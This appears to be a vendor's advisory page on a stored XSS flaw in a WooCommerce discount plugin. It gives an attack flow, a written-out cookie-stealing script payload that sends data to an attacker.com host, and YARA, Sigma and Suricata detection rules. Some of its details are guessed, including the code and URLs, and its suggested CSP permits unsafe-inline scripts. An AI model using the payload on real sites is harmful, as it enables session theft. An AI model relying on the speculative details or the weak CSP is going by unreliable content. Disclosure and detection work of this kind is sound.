CVE-2025-48248
Executive Summary
CVE-2025-48248 is a Stored Cross-Site Scripting (XSS) vulnerability found in the WordPress plugin Sitewide Discount for WooCommerce: Apply Discount to All Products (slug: global-shop-discount-for-woocommerce), developed by WPFactory. The vulnerability exists in versions 2.2.1 and below. An authenticated attacker with at least Contributor-level privileges can inject malicious JavaScript payloads into the plugin’s discount settings or product discount fields. When an administrator or other user views the affected page (e.g., the WooCommerce settings or product edit screen), the payload executes in their browser session, potentially leading to session hijacking, privilege escalation, or defacement.
This is a WordPress ecosystem issue; the vulnerability resides entirely within the plugin’s input handling and output escaping logic. No web server (Apache/Nginx) misconfiguration is involved.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress Plugin Directory. The plugin is not an NPM, PyPI, Go, or Ruby package. However, the risk extends to any site using the plugin as a dependency. Supply chain risks include:
- Malicious updates: If the plugin repository is compromised, a backdoored version could be pushed.
- Dependency confusion: Not applicable as the plugin is self-contained.
- Third-party integrations: The plugin may interact with other WooCommerce extensions, potentially amplifying the attack surface.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
- Base Score: 6.5 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: Low (PR:L) – requires a Contributor-level account or higher.
- User Interaction: Required (UI:R) – the victim must visit the affected page.
- Scope: Changed (S:C) – the injected script can affect resources beyond the vulnerable component.
- Confidentiality Impact: Low (C:L) – limited data exposure.
- Integrity Impact: Low (I:L) – limited modification of content.
- Availability Impact: Low (A:L) – limited disruption.
Threat Level: Medium. While the CVSS score is 6.5, the requirement for authenticated access and user interaction reduces the immediate risk. However, in a multi-tenant WordPress environment (e.g., WooCommerce store with multiple staff), a disgruntled employee or compromised Contributor account can easily exploit this to steal admin sessions or deface the site.
Deep Dive & Mechanics
The vulnerability stems from improper neutralization of input in the plugin’s discount configuration fields. The plugin likely stores user-supplied data (e.g., discount name, description, or custom CSS/JS) directly into the WordPress database without sanitization or output escaping. When this data is later rendered in the WordPress admin panel (e.g., in a settings page or product list), it is output without proper escaping, allowing arbitrary HTML and JavaScript to execute.
Attack Flow:
- An attacker with Contributor-level access logs into WordPress.
- Navigates to the Sitewide Discount settings (e.g.,
/wp-admin/admin.php?page=wc-settings&tab=global_discount). - Injects a payload like
<script>alert(document.cookie)</script>into a text field (e.g., "Discount Label"). - The payload is saved to the
wp_optionstable or post meta. - An administrator visits the same settings page or a product edit screen that displays the discount.
- The payload executes in the admin’s browser, allowing the attacker to steal cookies, perform actions on behalf of the admin, or inject further malicious content.
Root Cause: The plugin uses echo or _e() functions without wrapping the output in esc_html() or wp_kses_post(). The WordPress coding standard requires all untrusted data to be escaped before output.
Vulnerable vs. Patched Code
Vulnerable Code (hypothetical, based on CWE-79 pattern):
// In a settings page or template
echo "<div class='discount-label'>" . $discount_label . "</div>";
Patched Code (expected):
// Properly escape the output
echo "<div class='discount-label'>" . esc_html( $discount_label ) . "</div>";
Key Differences:
- The vulnerable code directly outputs the stored value without escaping.
- The patched code uses
esc_html()to convert special characters to HTML entities, preventing script execution.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress instance with the vulnerable plugin (<=2.2.1) installed and activated.
- A user account with at least Contributor role.
Steps:
- Log in as a Contributor.
- Go to WooCommerce > Settings > Global Discount (or similar).
- In the "Discount Label" field, enter:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Save the settings.
- Wait for an admin to visit the same page, or send a crafted link to the admin.
Expected Result: The admin’s cookies are exfiltrated to the attacker’s server.
Blue Team (Detection & Hardening)
Detection:
- Monitor for unusual changes to the
wp_optionstable, specifically options containingglobal_shop_discountorsitewide_discount. - Look for HTTP requests to unknown external domains from the WordPress admin panel.
- Review user activity logs for suspicious edits to plugin settings by non-admin users.
Hardening:
- Immediately update the plugin to a patched version (once available).
- Restrict plugin settings access to administrators only using role management plugins.
- Implement a Web Application Firewall (WAF) rule to block
<script>tags in POST data to/wp-admin/admin-ajax.phpor plugin settings pages. - Use Content Security Policy (CSP) headers to restrict script execution.
Indicators of Compromise (IOCs)
- File System: Modified plugin files (e.g.,
global-shop-discount-for-woocommerce/includes/class-wc-settings.php) containing injected JavaScript. - Database: Rows in
wp_optionswithoption_namelikewc_settings_tab_global_discountcontaining<script>tags. - Network: Outbound HTTP requests to unknown IPs/domains from the WordPress server, especially from the admin user session.
- Logs: WordPress debug log entries showing PHP warnings about
header()or unexpected output.
Detection Engineering
YARA Rule
rule CVE_2025_48248_Stored_XSS {
meta:
description = "Detects stored XSS payloads in Sitewide Discount for WooCommerce plugin"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-48248"
strings:
$payload1 = /<script[^>]*>.*?<\/script>/is
$payload2 = /onerror\s*=\s*["']?[^"']*["']?/i
$payload3 = /onload\s*=\s*["']?[^"']*["']?/i
$plugin_path = "global-shop-discount-for-woocommerce"
condition:
$plugin_path and ($payload1 or $payload2 or $payload3)
}
Sigma Rule
title: CVE-2025-48248 Stored XSS in Sitewide Discount for WooCommerce
id: 8a3f7c2e-1b4d-4e5f-9a0b-2c3d4e5f6a7b
status: experimental
description: Detects potential stored XSS attempts via plugin settings
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
c-uri|contains: '/wp-admin/admin-ajax.php'
cs-uri-query|contains: 'action=save_global_discount'
cs-request-body|contains:
- '<script'
- 'onerror='
- 'onload='
condition: selection
falsepositives:
- Legitimate use of JavaScript in discount descriptions (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-48248 Stored XSS Payload Exfiltration"; flow:to_server,established; content:"/steal?cookie="; http_uri; nocase; classtype:attempted-user; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Audit user roles – ensure only trusted administrators have access to plugin settings.
- Scan the database for existing XSS payloads in
wp_optionsandwp_postmetatables.
Long-term Fix:
- The vendor (WPFactory) must release a patched version (>=2.2.2) that properly escapes all output using
esc_html(),esc_attr(), orwp_kses_post(). - Implement a Content Security Policy (CSP) header:
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; object-src 'none'; - Use a WordPress security plugin (e.g., Wordfence) to block malicious POST data.
Workaround:
- If the plugin cannot be disabled, manually edit the plugin file to add escaping:
(Note: This will be overwritten on plugin update.)echo esc_html( $discount_label );
Valters IT
DevSecOps & Cyber Threat Intelligence
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.